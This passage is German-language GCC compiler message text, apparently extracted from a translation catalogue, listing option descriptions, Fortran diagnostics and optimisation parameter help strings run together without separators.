durchführenSchleifen-Schälung durchführenSchleifenabwicklung für alle Schleifen durchführenSchleifenabwicklung durchführen, wenn Anzahl der Wiederholungen bekannt istSchleifenausschaltung durchführenMatrixanordnung aufgrund Abflachung und Transponierung durchführenBeseitigung überflüssigen Ladens nach dem Abspeichern in globalem gemeinsamem Teilausdruck durchführenSkalarersetzung von Aggregaten durchführenOptimierung für Ablaufabstraktion auf RTL durchführenSpeicherbewegung nach Beseitigung globaler gemeinsamer Teilausdrücke durchführenOptimierungsgestützte Strukturanordnung durchführenSuperblockerzeugung über Ende-Vervielfältigung durchführenBeseitigung ungenutzter Typen in Info zur Fehlersuche durchführenVariablenverfolgung durchführenVariablenverfolgung durchführen und auch Variablen markieren, die uninitialisiert sindGesamtprogrammoptimierung durchführenFormatspezifikation bei %C erfordert Punkt»$« als Bezeichnerzeichen zulassenUnpassende Verwendungen des TAB-Zeichens erlaubenPlanung einer Funktionsprologsequenz erlaubenDie Verwendung des Schlüsselworts »assert« erlaubenUniverselle Zeichennamen (\u und \U) in Bezeichnern zulassenDatenstücke in ihren eigenen Abschnitt legenJede Funktion in ihren eigenen Abschnitt platzierenGleitkommakonstanten ins TOC legenAusgabe in <Datei> schreibenSymbol+Offset-Konstanten ins TOC legenBitte senden Sie einen vollständigen Fehlerbericht auf Englisch ein;
bearbeiten Sie die Quellen zunächst mit einem Präprozessor, wenn es
dienlich ist.
Fehler in der deutschen Übersetzung sind an translation-team-de@lists.sourceforge.net zu melden.

Gehen Sie gemäß den Hinweisen in %s vor.
Zeigerfeld-Komponente der Struktur bei %C muss eine aufgeschobene Form habenZeiger-Zuweisungsziel bei %L ist weder TARGET noch POINTERZeiger-Zuweisungziel ist kein POINTER bei %LZeigerzuweisung an Nicht-POINTER bei %LZeigerzuweisung mit Vektorindex für rhs bei %LZeigerinitialisierung bei %C benötigt »=>«, nicht »=«Zeigerinitialisierung erfordert NULL() bei %CZeigerfeld als effektives Argument bei %L erfordert wegen VOLATILE-Attribut ein Scheinargument »%s« mit vermuteter Form oder als ZeigerfeldZeiger sind 32 BitZeiger sind 64 BitPositive Exponentenbreite erforderlichPositive Breite benötigtMöglicher Frontend-Fehler: Aufgeschobene Feldgröße ohne Zeiger, allozierbares Attribut oder abgeleiteter Typ ohne allozierbare Komponenten.Zweige gegenüber bedingter Ausführung bevorzugenWortzugriffe bevorzugen (statt Bytezugriffen)Globalen Symbolen ein »:« voranstellen (für Verwendung mit PREFIX)Namen der CPU allen öffentlichen Symbolnamen voranstellenNur Direktiven vorverarbeiten.Vorgeben, dass Sprung-um-Sprung ein bedingter Sprung istVorgeben, dass Sprünge teuer sindVerwendung aller Gleitkommaoperationen verhindernVerwendung aller Hardware-Gleitkommabefehle verhindernEine Prüfsumme der ausführbaren Datei für PCH-Gültigkeitsüberprüfung ausgeben, und anhaltenInformation zur Code-Überdeckung ausgeben.

Zusätzliche (möglicherweise ungewollte) Warnungen ausgebenNamen der Header-Dateien ausgeben, wie sie verwendet werdenProzedur »%s« bei %C hat eine explizite Schnittstelle und darf bei %L keine Attribute deklariert habenProzedur »%s« bei %C wurde bereits bei %L definiertProzedur »%s« bei %L muss das BIND(C)-Attribut haben, um mit C interoperabel zu seinProzedur »%s« mit einer impliziten Schnittstelle bei %L aufgerufenProzedur »%s« in %s bei %L hat keine explizite SchnittstelleProzedur »%s« in %s bei %L ist weder Funktion noch SubroutineProzedurargument bei %L ist INTENT(IN) während die Schnittstelle INTENT(%s) angibtProzedurargument bei %L ist lokal für PURE-Prozedur und hat das POINTER-AttributProzedurargument bei %L ist lokal für PURE-Prozedur und wird an Argument INTENT(%s) übergeben#ident-Anweisungen verarbeitenSpezifikation %c%s%c wird verarbeitet, welche »%s« ist
Backtrace erzeugen, wenn Laufzeitfehler auftrittBig-Endian-Code erzeugenZur Laufzeit verschiebbaren Code erzeugenLittle-Endian-Code erzeugenProfilerunterstützung für CRXProgramm befindet sich vollständig in unteren 64k des SpeichersPC-relative Funktionsaufrufe verbietenBibliotheken für den Simulator anbietenMODULE-Dateien in »Verzeichnis« ablegenDaten in SECTION legenAlles in reguläres TOC legenFunktionen in SECTION legenGlobale und statische Daten kleiner als <Anzahl> Bytes in einen gesonderten Abschnitt legen (bei manchen Zielen)Sprünge in Aufrufverzögerungsschlitze steckenNur-Lese-Daten in SECTION legenUninitialisierte Konstanten im ROM ablegen (benötigt -membedded-data)Null-initialisierte Daten in den bss-Abschnitt legenRESULT-Variable bei %C muss vom Funktionsnamen verschieden seinRETURN_ADDRESS_OFFSET nicht unterstütztRTL-Überprüfung: Zugriff von Elt %d von »%s« mit letztem Elt %d in %s, bei %s:%dRTL-Überprüfung: Zugriff von Elt %d von Vektor mit letztem Elt %d in %s, bei %s:%dRTL-Überprüfung: Versuch, Nicht-Blocksymbol als Blocksymbol in %s bei %s:%d zu verwendenRTL-Überprüfung: Code »%s« oder »%s« erwartet, haben »%s« in %s, bei %s:%dRTL-Überprüfung: Code »%s« erwartet, haben »%s« in %s, bei %s:%dRTL-Überprüfung: Elt-%d-Typ %c oder %c erwartet, haben Typ %c (rtx %s) in %s, bei %s:%dRTL-Überprüfung: Elt-%d-Typ %c erwartet, haben Typ %c (rtx %s) in %s, bei %s:%dRTL-Kennzeichenüberprüfung: %s mit unerwartetem RTX-Code »%s« in %s bei %s:%d verwendetRTP PIC ist mit -msingle-pic-base unverträglichRTP PIC ist mit Thumb unverträglichBereichsspezifikation bei %L kann nie passenUnpassender Rang in Argument »%s« bei %L (%d und %d)Unpassende Ränge in Feldreferenz bei %L (%d/%d)Verhältnis zwischen virtuellen Mappings und virtuellen Symbolen für vollständige virtuelle UmbenennungenDatei »%s« wird in Freiform gelesenModul %s in Zeile %d, Spalte %d wird gelesen: %sLesen der Spezifikationen von %s
Realkonstante überschreitet seine Art bei %CRealkonstante unterschreitet seine Art bei %CRealzahl bei %C hat »d«-Exponent und explizite ArtStack in Prolog neu ausrichtenGNU-definierte Schlüsselworte erkennenEingebaute Funktionen erkennenDas »asm«-Schlüsselwort erkennenGCC-Kommandozeilenschalter in Objektdateien aufzeichnen.Betrag der generierten Metadaten zur Reflexion verringernGröße von Objektdateien reduzierenZweige entspannenDateinamen beim Einfügen von Dateien neu abbildenRedundante Membars entfernenBasisblöcke und Partition in heiße und kalte Abschnitte umordnenBasisblöcke umsortieren, um Codeplatzierung zu verbessernFunktionen umsortieren, um Codeplatzierung zu verbessernFunktionen, Variablen und asms höchster Ebene umordnenWiederholungszähler kann nicht auf einen P-Deskriptor folgenVorübergehende SSA-Speicherbereiche in Kopien mit besseren Namen ersetzenAddieren, Vergleichen, Verzweigen mit Verzweigung anhand des Zählregisters ersetzenSystempfad ersetzenVorübergehende Ausdrücke im SSA-Normaldurchlauf ersetzenÜber Speicherbelegung vor zwischenprozeduraler Optimierung berichtenÜber dauerhafte Speicherreservierung berichtenBenötigte Zeit für jeden Compilerdurchlauf ausgebenIEEE-konforme Mathematik-Bibliotheksroutinen (OSF/1) anfordernBefehle nach Registerbelegung neu planenBefehle vor Registerbelegung neu planenPlatz für Ausgabeargumente in Funktionsprolog reservierendoloop auf angegebene Verschachtelungstiefe beschränkenIn Basis-Blöcken keine Register bei der Ziel-Lade-Bewegung wiederverwendenVerwendung der Hardware-Gleitkomma-Befehle auf 32-Bit-Operationen beschränkenErgebnis »%s« der enthaltenen Funktion »%s« bei %L hat keinen IMPLICIT-Typ«Ergebnis von %s ergibt für seine Art einen Bereichsfehler bei %LErgebnis von %s ist NaN bei %LErgebnis von %s überschreitet seine Art bei %LErgebnis von %s unterschreitet seine Art bei %LErgebnis von NEAREST ist NaN bei %LErgebnis von SCALE überschreitet seine Art bei %LAlle Strukturen über Speicher zurückgeben (AIX-Standard)Gleitkommaergebnisse über ac0 zurückgeben (fr0 in Unix-Assemblersyntax)Zeiger sowohl in a0 als auch in d0 zurück gebenKleine Aggregate über Speicher, nicht Register, zurückgebenKleine Aggregate über Register zurückgebenKleine Strukturen über Register zurückgeben (SVR4-Standard)Rückgabetyp der BIND(C)-Funktion »%s« bei %L kann keine Zeichenkette seinRückgabetyp der BIND(C)-Funktion »%s« bei %L kann kein Feld seinFunktionswerte über FPU-Register zurück gebenr30 auf Funktionsbasis wiederverwendenRechte obere Schranke des Feldabschnitts angenommener Größe nicht angegeben bei %LVorhersehende vereinheitlichende Optimierung durchlaufen.Laufzeitname.SAVE-Attribut bei %L kann nicht in einer PURE-Prozedur angegeben werdenSAVE-Anweisung bei %C folgt umfassender SAVE-Anweisungchunk_size der Klausel SCHEDULE bei %L erfordert einen skalaren INTEGER-AusdruckSEQUENCE-Attribut bei %C bereits in TYPE-Anweisung angegebenSEQUENCE-Anweisung bei %C muss Strukturkomponenten vorausgehenSH2a unterstützt nicht Little-EndianSHAPE-Parameter für Aufruf von %s bei %L muss ein INTEGER-Feld mit Rang 1 seinSSA-BeschädigungSSA-Name in Frei-Liste, jedoch immer noch referenziertSSA_NAME in zwei verschiedenen Blöcken (%i und %i) erzeugtSSA_NAME_DEF_STMT ist falschSSA_NAME_OCCURS_IN_ABNORMAL_PHI sollte gesetzt seinSSE-Befehlssatz ausgeschaltet, es wird 387-Arithmetik verwendetSSE-Registerargument mit SSE ausgeschaltetSSE-Registerrückgabe mit SSE ausgeschaltetSSE-Vektorargument ohne eingeschaltetes SSE ändert das ABISSE-Vektorrückgabe ohne eingeschaltetes SSE ändert das ABISTAT-Marke in %s-Anweisung bei %L muss Typ INTEGER habenSTAT-Variable »%s« der %s-Anweisung bei %C kann nicht INTENT(IN) seinSUBROUTINE bei %C gehört nicht in eine allgemeine FunktionsschnittstelleGleiches effektives Argument mit INTENT(%s)-Argument »%s« und INTENT(%s)-Argument »%s« bei %L verbundenDas gleiche wie -fassociative-math für Ausdrücke, die Division enthalten.Das gleiche wie: -mep -mprolog-functionRegister bei Funktionsaufrufen sichernSkalares »%s« in FORMAT-Marke bei %L ist keine ASSIGNED-VariableSkalarer PARAMETER in komplexer Konstante bei %C erwartetSkalares Objekt »%s« bei %L kann nicht ALLOCATABLE seinCode für die gegebene CPU planenFür angegebene CPU planenAnfang und Ende der Prozedur planenSichtbarkeitsbereich der Variablen aus einer for-Initialisierungs-Anweisung ist für die Schleife lokalZweites Argument von MOD bei %L ist NullZweites Argument von IBCLR überschreitet Bit-Größe bei %LZweites Argument von IBSET überschreitet Bit-Größe bei %LZweites Argument von MOD bei %L ist NullZweites Argument von MODULO bei %L ist NullZweites Argument von NEAREST bei %L sollte nicht Null seinZweites Argument der definierten Zuweisung bei %L muss INTENT(IN)Zweites Argument der Operatorschnittstelle bei %L kann nicht optional seinZweites Argument der Operatorschnittstelle bei %L muss INTENT(IN) seinSpeicherzugriffsverletzungSpeicherzugriffsverletzung (Code)ABI-Aufrufkonvention auswählenGPR-Gleitkommamethode auswählenAuswahl des Anteils an der Anzahl der Wiederholungen des Basisblocks im Programm, vorausgesetzt, der Basisblock muss als »heiß« angesehen werdenAuswahl des Anteils an der Höchstfrequenz der Ausführungen des Basisblocks in Funktion, vorausgesetzt, der Basisblock wird ausgerichtetAuswahl des Anteils an der Höchstfrequenz der Ausführungen des Basisblocks in Funktion, vorausgesetzt, der Basisblock muss als »heiß« angesehen werdenVoll-, Teil- oder keine Traceback-TabelleMethode für sdata-Behandlung auswählenDie Ziel-MCU auswählenAuswahlausdruck in berechneter GOTO-Anweisung bei %L muss ein skalarer Ganzzahlausdruck seinSemikolon bei %C muss Anweisung vorausgehenGleitkommapräzision von 80387 setzen (-mpc32, -mpc64, -mpc80)<Verz> als System-Wurzelverzeichnis setzenWindows-defines setzenKlassenpfad setzenStandardzugriff von Modulentitäten auf PRIVATE setzen.Prüfung der Abhängigkeitsentfernung in nicht ausgereifter Planung von eingereihten Befehlen setzenNach eingebauten Mathematikfunktionen errno setzenAnfängliche größte Ausrichtung für Strukturelemente festlegenAnzahl der eingereihten Befehle setzen, die unausgereift geplant werden könnenOptimierungsstufe auf <Zahl> setzenParameter <Param> auf Wert setzen. Siehe unten für komplette Parameterlistesizeof(bool) auf 1 setzenStart-Adresse der Daten setzenStart-Adresse des Programmes setzenPPC_EMB-Bit im ELF-Flags-Header setzenSprungkosten setzenSprungkosten auf ungefähr COST Befehle setzenStandard-Doppelpräzisionsart auf einen 8 Bytes breiten Typen setzenStandard-Ganzahlart auf einen 8 Bytes breiten Typen setzenStandard-Realzahlart auf einen 8 Bytes breiten Typen setzenStandard-Symbolsichtbarkeit setzenDas standardmäßige Codeerzeugungsmodell für Thread-lokalen Speicher angebenDen Pfad für das Erweiterungsverzeichnis setzenDen Basis-Dateinamen für Abzüge setzenMaximalgröße der für den SDA-Bereich geeigneten Daten setzenMaximalgröße der für den TDA-Bereich geeigneten Daten setzenMaximalgröße der für den ZDA-Bereich geeigneten Daten setzenHöchstanzahl der Bytes angeben, die noch im Stack übrig sind, bevor ein Trap-Befehl ausgelöst wirdGrößten Betrag für einzelne Stapelvergrößerungsoperation setzenVersion der Quellsprache setzenZiel-CPU-Typ angebenZiel-VM-Version angebenStufe der Wortfülle des Planers angebenStufe der Wortfülle des Vektorisierers setzenSpezifikation %s wird auf '%s' gesetzt

Form-Spezifikation bei %L kann nicht negativ seinForm-Spezifikation bei %L kann nicht das Null-Feld seinFormen der Operanden bei %L und %L stimmen nicht übereinBeim Binden Adressreferenzen verkürzenSpaltenzahlen in Diagnose zeigen, wenn verfügbar. Standard: AusGröße des größten Feldes, das auf dem Stack abgelegt wird, in BytesKleiner Datenbereich: keiner, sdata, verwendenSpezifikationsfunktion »%s« bei %L kann nicht RECURSIVE seinSpezifikationsfunktion »%s« bei %L kann keine Anweisungsfunktion seinSpezifikationsfunktion »%s« bei %L kann keine interne Funktion seinSpezifikationsfunktion »%s« bei %L muss PURE sein<Pfad> als ein Prefix für die nächsten zwei Optionen angebenZu verwendendes ABICPU für Codeerzeugungszwecke angebenCPU für Planzwecke angebenCPU für Planzwecke angeben. Gültige Argumente sind 700, 7100, 7100LC, 7200, 7300, und 8000UNIX-Standard für Predefines und Bindung angebenAusrichtung der Strukturfelder als Standard/natürlich angebenABI angebenBit-Breite des unmittelbaren TLS-Versatzes angebenFunktion zum Entleeren des Cache angebenAbfangfunktionsnummer zum Entleeren des Cache angebenSprungkosten angeben (Standard: 20)Angeben, wie auf Threadzeiger zugegriffen wirdAngeben, ob Gleitkommahardware verwendet werden sollteHauptobjekt für TPF-OS angebenGrößte Template-Instantiierungstiefe angebenNamen für vorzeichenbehaftete 32-Bit Divisionsfunktion angebenOptionen für GNAT angebenBereich der zu fixierenden Register angebenPlanungspriorität für Verteilschlitz-beschränkte Befehle angebenGröße von »long double« angeben (64 oder 128 Bits)Angeben, dass eine externe BLAS-Bibliothek für matmul-Aufrufe mit großen Feldern verwendet werden sollteAngeben, dass Argumente gegenseitig und für globale Symbole Aliase sein könnenAngeben, dass Bachslashes in Zeichenketten ein Fluchtzeichen einführenAngeben, dass keine implizite Typisierung erlaubt ist, außer es wird durch explizite IMPLICIT-Anweisungen überschriebenStandard-Zeichensatz für Quelldateien angebenKleinste Bitausrichtung von Strukturen angebenNamen der Ziel-CPU angebenNamen der Ziel-Architektur angebenNamen der Gleitkommahardware/-format des Zielsystems angebenReihenfolge der Registerbelegung angebenFür PIC-Adressierung zu verwendendes Register angebenDie Ziel-CPU auswählenAngeben, wann Befehle zum Codezugriff erlaubt sindAngeben, wo die kompilierten intrinsischen Module zu finden sindAngeben, welches Schema zum Einfügen von nops nach der Planung angewendet werden sollLebensdauer von Induktionsvariablen aufteilen, wenn Schleifen abgerollt werdenBreite Typen in unabhängige Register aufteilenAnweisung bei %L ist keine gültige Sprungzielanweisung für Sprungziel bei %LAnweisungsfunktion »%s« bei %L ist nicht als effektives Argument erlaubtAnweisungsfunktion »%s« erfordert Argumentliste bei %CAnweisungsfunktion bei %L ist rekursivAnweisungsmarke bei %C ist NullAnweisungsmarke in ENDDO bei %C passt nicht zum DO-LabelAnweisungsmarkenliste in GOTO bei %C kann nicht leer seinStatische Bindung wird nicht unterstützt.
GNU Fortran Hilfsbibliothek (libgfortran) statisch bindenSchrittausdruck in DO-Schleife bei %L kann nicht Null seinVorwärtswachstum anhalten, wenn die Wahrscheinlichkeit der besten Kante weniger als dieser Schwellwert ist. Verwendet, wenn Profil-Rückmeldung verfügbar istVorwärtswachstum anhalten, wenn die Wahrscheinlichkeit der besten Kante weniger als dieser Schwellwert ist. Verwendet, wenn Profil-Rückmeldung nicht verfügbar istBei folgenden Gleitkommaausnahmen anhaltenUmgekehrtes Wachstum anhalten, wenn die umgekehrte Wahrscheinlichkeit der besten Kante weniger als dieser Schwellwert ist (in Prozent)Funktionsnamen im Objektcode speichernStrukturkomponente »%s« bei %L kann kein EQUIVALENCE-Objekt seinUnterprogramm »%s« bei %L ist INTRINSIC aber nicht mit eingebauter Funktion verträglichDas anstelle einer Zuweisung aufgerufene Unterprogramm »%s« bei %L muss PURE seinUnterprogrammaufruf von »%s« bei %L ist nicht PUREUnterprogrammaufruf von »%s« in FORALL-Block bei %L ist nicht PUREUnterprogrammaufruf des intrinsischen »%s« bei %L ist nicht PURETeilzeichenkette bei %L hat Länge NullEnd-Index der Teilzeichenkette bei %L überschreitet ZeichenkettenlängeEnd-Index der Teilzeichenkette bei %L muss INTEGER-Typ habenEnd-Index der Teilzeichenkette bei %L muss skalar seinAnfangs-Index der Teilzeichenkette bei %L ist kleiner als EinsAnfangs-Index der Teilzeichenkette bei %L muss INTEGER-Typ habenAnfangs-Index der Teilzeichenkette bei %L muss skalar seinSumme des zweiten und dritten Arguments von IBITS überschreitet Bit-Größe bei %LEingebaute 3DNow!-Funktionen unterstützenEingebaute Athlon 3Dnow!-Funktionen unterstützenGreen Hills ABI unterstützenTrigraphs nach ISO C unterstützenEingebaute MMX- und SSE-Funktionen und Codeerzeugung unterstützenEingebaute MMX-Funktionen unterstützenEingebaute MMX-, SSE- und SSE2-Funktionen und Codeerzeugung unterstützenEingebaute MMX-, SSE-, SSE2- und SSE3-Funktionen und Codeerzeugung unterstützenEingebaute MMX-, SSE-, SSE2-, SSE3- und SSE4A-Funktionen und Codeerzeugung unterstützenEingebaute MMX-, SSE-, SSE2-, SSE3- und SSSE3-Funktionen und Codeerzeugung unterstützenEingebaute MMX-, SSE-, SSE2-, SSE3-, SSSE3- und SSE4.1-Funktionen und Codeerzeugung unterstützenEingebaute MMX-, SSE-, SSE2-, SSE3-, SSSE3-, SSE4.1- und SSE4.2-Funktionen und Codeerzeugung unterstützenSCORE 3 ISA unterstützenSCORE 3d ISA unterstützenSCORE 5 ISA unterstützenSCORE 5U ISA unterstützenSCORE 7 ISA unuterstützenSCORE 7D ISA unterstützenEingebaute SSE5-Funktionen und Codeerzeugung unterstützenAufrufe zwischen Thumb- und ARM-Befehlssätzen unterstützenCodeerzeugung der Advanced Bit Manipulation Befehle (ABM) unterstützen.Codeerzeugung von cmpxchg16b-Befehlen unterstützen.Codeerzeugung von popcnt-Befehlen unterstützen.Codeerzeugung von sahf-Befehlen in 64-Bit x86-64-Code unterstützen.Altes Multi-Threading unterstützenMessage Passing mit paralleler Umgebung unterstützenMulti-Threading unterstützenMehrere Akkumulierbefehle unterstützenSynchrone Nicht-Aufruf-Ausnahmen unterstützenAusgabe von Adressen in Fehlersuch-Auszügen unterdrückenAusgabe von Befehlszahlen, Zeilennummernangaben und Adressen in Fehlersuch-Auszügen unterdrückenWarnungen unterdrückenBytereihenfolge für unformatierte Dateien wechselnMIPS16 ASE bei abwechselnden Funktionen für Compilertest ein-/ausschaltenSymbol »%s« bereits deklariertSymbol »%s« bei %C wurde bereits mit Host verbundenSymbol »%s« bei %C ist bereits ein externes Symbol, das nicht COMMON istSymbol »%s« bei %C ist bereits in einem COMMON-BlockSymbol»%s« bei %C ist mehrdeutigSymbol »%s« bei %C muss ein NAMELIST-Gruppenname seinSymbol »%s« bei %L hat bereits eine explizite SchnittstelleSymbol »%s« bei %L kann keinen Typen habenSymbol »%s« bei %L hat keinen IMPLICIT-TypSymbol »%s« bei %L ist mehrdeutigSymbol »%s« bei %L ist als PRIVATE markiert, aber wurde mit Bindung »%s« markiertSymbol »%s« in COMMON bei %C kann kein POINTER-Feld seinSymbol »%s« in Namensliste »%s« ist INTENT(IN) bei %CSymbol »%s« muss ein PARAMETER in DATA-Anweisung bei %C seinSymbol »%s« bei %L in mehreren Klauseln vorhandenBei %2$L referenziertes Symbol »%1$s« existiert nicht im intrinsischen Modul ISO_C_BINDING.Bei %2$L referenziertes Symbol »%1$s« existiert nicht im intrinsischen Modul ISO_FORTRAN_ENVBei %2$L referenziertes Symbol »%1$s« nicht im Modul ISO_C_BINDING gefundenBei %2$L referenziertes Symbol »%1$s« nicht im intrinsischen Modul ISO_FORTRAN_ENV gefundenBei %2$L referenziertes Symbol »%1$s« nicht im Modul »%3$s« gefundenSymbol »%s« in COMMON-Block »%s« bei %C ist indirekt äquivalent zu anderem COMMON-Block »%s«Symbol bei %C passt nicht zu einem AusdruckSymbol bei %L ist keine ScheinvariableSynonym für -WcommentSyntaxfehler in !$OMP THREADPRIVATE Liste bei %CSyntaxfehler in Anweisung %s bei %CSyntaxfehler in ABSTRACT INTERFACE-Anweisung bei %CSyntaxfehler in CASE-Spezifikation bei %CSyntaxfehler in CHARACTER-Deklaration bei %CSyntaxfehler in COMPLEX-Konstante bei %CSyntaxfehler in ENUMERATOR-Definition bei %CSyntaxfehler in EQUIVALENCE-Anweisung bei %LSyntaxfehler in FORALL-Iterator bei %CSyntaxfehler in E/A-Iterator bei %CSyntaxfehler in IF-Klausel bei %CSyntaxfehler in IF-Ausdruck bei %CSyntaxfehler in IMPORT-Anweisung bei %CSyntaxfehler in NAME=-Spezifikation für Bindungsmarke bei %CSyntaxfehler in OpenMP-Variablenliste bei %CSyntaxfehler in PROCEDURE-Anweisung bei %CSyntaxfehler in PROTECTED-Anweisung bei %CSyntaxfehler in SAVE-Anweisung bei %CSyntaxfehler in SUBSTRING-Spezifikation bei %CSyntaxfehler in VALUE-Anweisung bei %CSyntaxfehler in VOLATILE-Anweisung bei %CSyntaxfehler in Argumentliste bei %CSyntaxfehler in Feldkonstruktor bei %CSyntaxfehler in Zeichenlängenangabe bei %CSyntaxfehler im allgemeinen Blocknamen bei %CSyntaxfehler in Daten-Deklaration bei %CSyntaxfehler in Ausdruck bei %CSyntaxfehler in allgemeiner Spezifikation bei %CSyntaxfehler in Iterator bei %CSyntaxfehler in Strukturkonstruktor bei %CSyntaxfehler: Nachfolgender Überschuss in END INTERFACE-Anweisung bei %CSyntaxfehler: Nachfolgender Überschuss in INTERFACE-Anweisung bei %CTHREADPRIVATE - Objekt »%s« in Klausel %s bei %LTHREADPRIVATE - Objekt »%s« in Klausel SHARED bei %L%s von %d Zweigen mindestens einmal genommen
Ziel: DFLOAT Code mit doppelter GenauigkeitZiel hat geteiltes I&DAuf AM33-Prozessor abzielenAuf AM33/2.0-Prozessor abzielenZiel: %s
Die Option »--param« erkennt die folgenden ParameterDer C-Parser unterstützt nicht -dy, Option ignoriertDer C++-Parser unterstützt nicht -dy, Option ignoriertDie CHARACTER-Elemente des Feldkonstruktors bei %L müssen die gleiche Länge haben (%d/%d)Der DEFAULT CASE bei %L kann nicht von zweitem DEFAULT CASE bei %L gefolgt werdenDas Formatspezifikationssymbol H bei %C ist eine in Fortran 95 entfernte BesonderheitHollerith-Konstante bei %L ist zu lang zum Konvertieren in %sDas INTENT(OUT)-Scheinargument »%s« bei %L hat vermutete Größe und kann damit keine Standardinitialisierung habenDer Objective-C-Parser unterstützt nicht -dy, Option ignoriertDer Objective-C++-Parser unterstützt nicht -dy, Option ignoriertDie STAT-Variable »%s« in einer ALLOCATE-Anweisung darf bei %L nicht in der gleichen Anweisung alloziert werdenDie Argumentlistenfunktionen %%VAL, %%LOC oder %%REF bei %L sind in diesem Kontext nicht erlaubtHöchstzahl der für Speicheranweisungen erlaubten virtuellen Operatoren, bevor Speicherpartitionierungsheuristik ausgelöst wirdDer abgeleitete Typ »%s« bei %L hat Typ »%s«, der nicht definiert wurdeDie älteste MacOSX-Version, auf der dieses Programm laufen wirdDas Element im Konstruktor abgeleiteten Typs bei %L für Zeigerkomponente »%s« sollte ein POINTER oder ein TARGET seinDas Element in Konstruktor abgeleiteten Typs bei %L für Zeigerkomponente »%s« ist %s, sollte aber %s seinDie Äquivalenzmenge für »%s« bewirkt eine ungültige Erweiterung für COMMON »%s« bei %LDie Äquivalenzmenge für bei %2$L deklarierte Variable »%1$s« verletzt AusrichtungsanforderungenDie folgenden Optionen sind sprach-unabhängigDie folgenden Optionen sind sprachbezogenDie folgenden Optionen sind nicht dokumentiertDie folgenden Optionen werden von der Sprache unterstützt Die folgenden Optionen sind zielspezifischDie folgenden Optionen steuern Warnmeldungen des CompilersDie folgenden Optionen steuern OptimierungenDie unreine Variable bei %L wird einer Variable abgeleiteten Typs mit einer POINTER-Komponente in einer PURE-Prozedur zugewiesen (12.6)Untere Schranke für einen für Stack-Smashing-Protection betrachteten PufferMaximalbetrag des von GCSE zu belegenden SpeichersHöchste Verzögerung bei Konflikt, sodass Befehl für spekulative Bewegung in Betracht kommtGrößte Tiefe mit rekursivem Inline für Inline-FunktionenGrößte Tiefe mit rekursivem Inline für Nicht-Inline-FunktionenDer höchste Erweiterungsfaktor beim Kopieren von BasisblöckenDie Höchstzahl der von CSE verarbeiteten Anweisungen vor dem RücksetzenGrößte Länge des betrachteten Pfades in cseDie Maximallänge der Liste der anhängigen geplanten OperationenHöchstzahl der Speicherstellen, die von cselib aufgezeichnet werdenHöchstzahl der RTL-Knoten, die als letzte Werte des Kombinierers aufgezeichnet werden könnenHöchstzahl der für Zwischen-Block-Scheduling zu betrachtenden Blöcke in einer RegionHöchstzahl der zu betrachtenden eingehenden Kanten für KreuzsprungHöchstzahl der für Zwischen-Block-Scheduling zu betrachtenden Anweisungen in einer RegionDie Höchstzahl der Befehle einer vollständig geschälten SchleifeDie Höchstzahl der Befehle einer geschälten SchleifeDie Höchstzahl der Befehle einer geschälten Schleife, die nur einmal rolltDie Höchstzahl der Befehle einer ungeschalteten SchleifeDie Höchstzahl der zu vervielfältigenden Anweisungen, wenn berechnete Gotos expandiert werdenDie Höchstzahl der Anweisungen in einer einzelnen für »inline« geeigneten FunktionDie Höchstzahl der Anweisungen, bis zu der eine Inline-Funktion per Rekursion wachsen kannDie Höchstzahl der Anweisungen, bis zu der eine Nicht-Inline-Funktion per Rekursion wachsen kannHöchstzahl der vom Scheduler während der ersten Planphase fertig zur Ausführung zu betrachtenden AnweisungenDie Höchstzahl der zu betrachtenden Anweisungen um Verzögerungsschlitz zu füllenDie Höchstzahl der zu betrachtenden Anweisungen um richtige aktive Registerinformationen zu findenDie Höchstzahl der zum Abrollen von Schleifen zu betrachtenden AnweisungenDie Höchstzahl der zum Abrollen von Schleifen im Mittel zu betrachtenden AnweisungenHöchstzahl der rückwärts zu suchenden Anweisungen, wenn nach äquivalentem Neuladen gesucht wirdDie Höchstzahl der Anweisungen für automatisches »inline«Höchstzahl der Iterationen durch CFG zur RegionserweiterungDie Höchstzahl der Schleifendurchläufe, die statisch vorhergesagt werdenDie Höchstzahl der Durchläufe für GCSEDie Höchstzahl der Schälvorgänge einer einzelnen SchleifeDie Höchstzahl der Schälvorgänge einer einzelnen Schleife, die vollständig geschält wirdDie Höchstzahl der Strukturfelder, bei der GCC elementweise Kopien verwenden wirdDie Höchstzahl der Iterationen zum Abrollen in einzelner SchleifeDie Höchstzahl der Abschaltungen in einer einzelnen SchleifeHöchstzahl der für eine Funktion erlaubten virtuellen Operatoren, bevor Speicherpartitionierungsheuristik ausgelöst wirdDie höchste Strukturgröße (in Bytes), bei der GCC elementweise Kopien verwenden wirdDie Mindestwahrscheinlichkeit für spekulativen Erfolg (in Prozent), sodass spekulativer Befehl eingeplant wirdDie Mindestkosten eines teuren Ausdrucks in der SchleifeninvariantenbewegungMindestanzahl der passenden zu betrachtenden Anweisungen für KreuzsprungDie Mindestwahrscheinlichkeit für das Erreichen eines Quellblockes für spekulatives Zwischen-Block-SchedulingDas Feld »%s« im Modul oder Hauptprogramm bei %L muss konstante Form habenDer Name »%s« bei %C wurde bereits als ein externer Modulname verwendet.Der Name »%s« bei %C kann nicht als ein definierter Operator verwendet werdenAnzahl der Zyklen, die der Swing-Modulo-Scheduler bei Konfliktprüfung mit DFA betrachtetDie Anzahl der ausgeführten Befehle bevor Prefetch abgeschlossen istDie Anzahl der Prefetches, die gleichzeitig laufen könnenProzentsatz der Funktion, gewichtet nach Ausführungsfrequenz, die bei Verfolgungsentwurf abgedeckt werden muss. Verwendet, wenn Profil-Rückmeldung verfügbar istProzentsatz der Funktion, gewichtet nach Ausführungsfrequenz, die bei Verfolgungsentwurf abgedeckt werden muss. Verwendet, wenn Profil-Rückmeldung nicht verfügbar istDie Zeigerkomponente »%s« bei »%s« bei %L hat nicht deklarierten TypDer Rang des Elements im Konstruktor abgeleiteten Typs bei %L passt nicht zu dem der Komponente (%d/%d)Die Größe des L1-CachesDie Größe einer L1-CachelineDie Größe des L2-CachesDie Größe eines als groß angesehenen FunktionskörpersDie Größe eines als groß angesehenen Stack-RahmensDie Größe einer als groß angesehenen ÜbersetzungseinheitDer Anteil-Schwellwert zwischen aktuellen und heißesten StrukturzahlenDer Anteil-Schwellwert zwischen instanzierten Feldern und der Gesamt-StrukturgrößeDer Anteil-Schwellwert für die Ausführung partieller Redundanzbeseitigung nach dem NeuladenDer Anteil-Schwellwert des Ausführungszählers kritischer Kanten, die Redundanzbeseitigung nach dem Neuladen erlaubenDer Typ %s kann bei %L nicht mit Wirt verbunden werden, da er von unverträglichem bei %L definiertem Objekt mit gleichem Namen blockiert wirdDer Typ für Funktion »%s« bei 